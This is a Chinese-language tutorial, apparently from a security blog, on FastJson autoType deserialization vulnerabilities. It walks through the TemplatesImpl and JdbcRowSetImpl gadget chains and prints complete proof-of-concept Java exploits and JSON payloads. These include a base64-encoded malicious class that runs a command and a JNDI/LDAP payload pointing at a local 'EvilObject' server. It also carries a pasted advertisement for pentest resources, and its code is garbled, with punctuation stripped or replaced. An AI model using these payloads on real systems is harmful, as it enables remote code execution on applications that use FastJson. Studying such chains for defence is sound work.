简介 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象分别通过toJSONString和parseObjectparse来实现序列化和反序列化。使用 对于序列化的方法toJSONString()有多个重载形式。 SerializeFeature:通过设置多个特性到FastjsonConfig中全局使用,也可以在使用具体方法中指定特性SerializeFilter:一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化SerializeConfig:添加特点类型自定义的序列化配置 对于反序列化的方法parseObject()也同样有多个重载形式。 【一一帮助安全学习,所有资源关注我,私信回复资料获取一一】 网络安全学习路线 20份渗透测试电子书 安全攻防357页笔记 50份安全攻防面试指南 安全红队渗透工具包 网络安全必备书籍 100个漏洞实战案例 安全大厂内部视频资源 历年CTF夺旗赛题解析序列化操作 可以发现这两个的区别,如果使用了toJSONString()的属性值SerializerFeature。WriteClassName,就会在序列化的时候多写入一个type后面跟着的是反序列化的类名。反序列化操作packagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。JSONOpublicclassUnSerialTest{publicstaticvoidmain(String〔〕args){StringjsonStringWithType{type:pers。fastjson。Student,name:RoboTerh};StringjsonStringWithoutType{name:RoboTerh};System。out。println(useJSON。parsewithtype。。。。。。);Objecto1JSON。parse(jsonStringWithType);System。out。println(o1);System。out。println();System。out。println(useJSON。parsewithouttype。。。。);Objecto2JSON。parse(jsonStringWithoutType);System。out。println(o2);System。out。println();System。out。println(useJSON。parseObjectwithtype。。。。。。。);JSONObjecto3JSON。parseObject(jsonStringWithType);System。out。println(o3);System。out。println();System。out。println(useJSON。parseObjectwithouttype。。。。。。。。。);JSONObjecto4JSON。parseObject(jsonStringWithoutType);System。out。println(o4);System。out。println();System。out。println(useJSON。parseObjectwithouttypebuthava。Class);Studento5JSON。parseObject(jsonStringWithoutType,Student。class);System。out。println(o5);}} 可以通过结果发现1和5成功反序列化,没成功都是因为没有确定需要反序列化的类。 我们可以发现,在引入了type之后,JSON。parseObject调用了gettersetter方法,JSON。parse调用了setter方法。 当然,其他的方式也是可以调用getter方法的,但是有条件限制: 条件一、方法名需要长于4 条件二、不是静态方法 条件三、以get字符串开头,且第四个字符需要是大写字母 条件四、方法不能有参数传 条件五、继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong 条件六、此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter) 因为fastjson存在autoType机制,当用户指定type时,存在调用恶意settergetter的情况,这就是fastjson反序列化漏洞。简单的漏洞Evil。javapackagepers。importjava。io。IOEpublicclassEvil{privateSpublicEvil(){System。out。println(构造方法);}publicvoidsetName(Stringname)throwsIOException{this。System。out。println(调用了setName方法);Runtime。getRuntime()。exec(calc);}publicStringgetName(){System。out。println(调用了getName方法);}}EvilTest。javapackagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。JSONOpublicclassEvilTest{publicstaticvoidmain(String〔〕args){StringjsonString{type:pers。fastjson。Evil,name:RoboTerh};JSONObjectoJSON。parseObject(jsonString);System。out。println(o);}} 成功弹出了计算器, 我们调式分析分析, 在JSON。parseObject处下的断点。 首先使用了parse()方法进行反序列化操作。 在JSON。parse(Stringtext,intfeatures)创建了DefaultJSONParser对象。 在成功创建了该对象之后通过判断ch是{〔为token赋值,这里是12。 在DefaultJSONParserparse方法中通过判断token的值,进入创建了一个JSONObject对象。 进parseObject方法,这里会通过scanSymbol获取到type指定类,然后通过TypeUtils。loadClass方法加载Class。 先是首先在maping中寻找JDK的内置类,没有找到之后使用ClassLoader寻找,得到clazz的之后进行返回 创建了ObjectDeserializer并且调用了getDeserializer方法。Templateslmpl利用链 如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。 在com。sun。org。apache。xalan。internal。xsltc。trax。TemplatesImpl类中就存在一个私有变量outputProperties,他的getter方法就满足在反序列化的时候的调用条件。分析利用链, 从漏洞触发点开始TemplateslmplgetTransletInstance方法。 这里通过调用class〔transletIndex〕的newInstance()方法进行实例化操作,我们追踪class〔transletIndex〕的出处,看看是否可以控制,进行恶意操作。 值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个if语句中,我们需要保证他的name这个私有属性不为空,否则就直接返回了null,而不会达到漏洞点。 在第二个语句中就是通过defineTransletClasses()方法获得了class和transletIndex的值,进入它。 首先判断bytecodes是否为空,这里的bytecodes同样是Templateslmpl类的成员变量,可控 如果这里不为空的话,就会执行。 而且这里如果tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature。SupportNonPublicField来进行修改。 接着走,在后面有一个for循环, 通过loader。defineClass修饰之后将bytecodes〔i〕赋值给class〔i〕,跟进defineClass方法。 他是ClassLoader的defineClass的重写,作用是将字节码转化为Class, 转回defineTransletClasses,在if判断语句中,如果它是mainclass的时候我们就为transletIndex赋值。 现在重新回到getTranslateInstance()方法,现在这里的class〔translateIndex〕就是我们为bytecodes赋值的恶意class,我们这里将他给实例化了,成功利用恶意类, 现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。 可以发现在newTransformer()方法中使用了getTransletInstance()方法。 继续搜索在哪里调用了newTransformer()方法。 在getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。利用链getOutputProperties()newTransformer()getTransletInstance()defineTransletClasses()class〔transletIndex〕。newInstance()POCpackagepers。importcom。alibaba。fastjson。JSON;importcom。alibaba。fastjson。parser。Fimportcom。sun。org。apache。xalan。internal。xsltc。runtime。AbstractTimportjavassist。CannotCompileEimportjavassist。ClassPimportjavassist。CtCimportjavassist。NotFoundEimportorg。apache。commons。codec。binary。Base64;importjava。io。IOEpublicclassFj24POC{publicstaticclassRoboTerh{}publicstaticStringmakeClasses()throwsNotFoundException,CannotCompileException,IOException{ClassPoolpoolClassPool。getDefault();CtClassccpool。get(RoboTerh。class。getName());Stringcmdjava。lang。Runtime。getRuntime()。exec(calc);;cc。makeClassInitializer()。insertBefore(cmd);StringrandomClassNameRoboTerhSystem。nanoTime();cc。setName(randomClassName);cc。setSuperclass((pool。get(AbstractTranslet。class。getName())));byte〔〕evilCodescc。toBytecode();returnBase64。encodeBase64String(evilCodes);}publicstaticStringexploitString()throwsNotFoundException,CannotCompileException,IOException{StringevilCodeBase64makeClasses();finalStringNASTYCLASScom。sun。org。apache。xalan。internal。xsltc。trax。TemplatesIStringexploit{RoboTerh:{type:NASTYCLASS,bytecodes:〔evilCodeBase64〕,name:RoboTerh,tfactory:{},outputProperties:{}}};}publicstaticvoidmain(String〔〕args)throwsNotFoundException,CannotCompileException,IOException{StringexploitexploitString();System。out。println(exploit);JSON。parse(exploit,Feature。SupportNonPublicField);JSON。parseObject(exploit,Feature。SupportNonPublicField);JSON。parseObject(exploit,Object。class,Feature。SupportNonPublicField);}} payload{RoboTerh:{type:com。sun。org。apache。xalan。internal。xsltc。trax。TemplatesImpl,bytecodes:〔yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQAQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk〕,name:RoboTerh,tfactory:{},outputProperties:{}}} 条件限制 需要开启Feature。SupportNonPublicField这个特性。JdbcRowSetImpl利用链分析利用链 JdbcRowSetImpl类位于com。sun。rowset。JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。 链子的核心触发点是javax。naming。InitialContextlookup的参数可控造成的漏洞。 在JdbcRowSetImplsetAutoCommit中如果this。conn为空的时候,就会调用this。connect方法。 然后在connect方法中就会调用Javax。naming。InitialContextlookup方法,参数是dataSourceName成员变量。 调用链JdbcRowSetImpl对象getDataSourcesetAutocommit方法context。lookup(datasourcename)POCpackagepers。importcom。alibaba。fastjson。JSON;publicclassFj24JdbcPOC{publicstaticvoidmain(String〔〕args){Stringpayload{type:com。sun。rowset。JdbcRowSetImpl,dataSourceName:ldap:127。0。0。1:8888EvilObject,autoCommit:true,};JSON。parseObject(payload);成功JSON。parse(payload);成功JSON。parseObject(payload,Object。class);}} payload{RoboTerh:{type:com。sun。rowset。JdbcRowSetImpl,dataSourceName:ldap:127。0。0。1:8888evilObject,autoCommit:true}}条件限制, 使用了JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。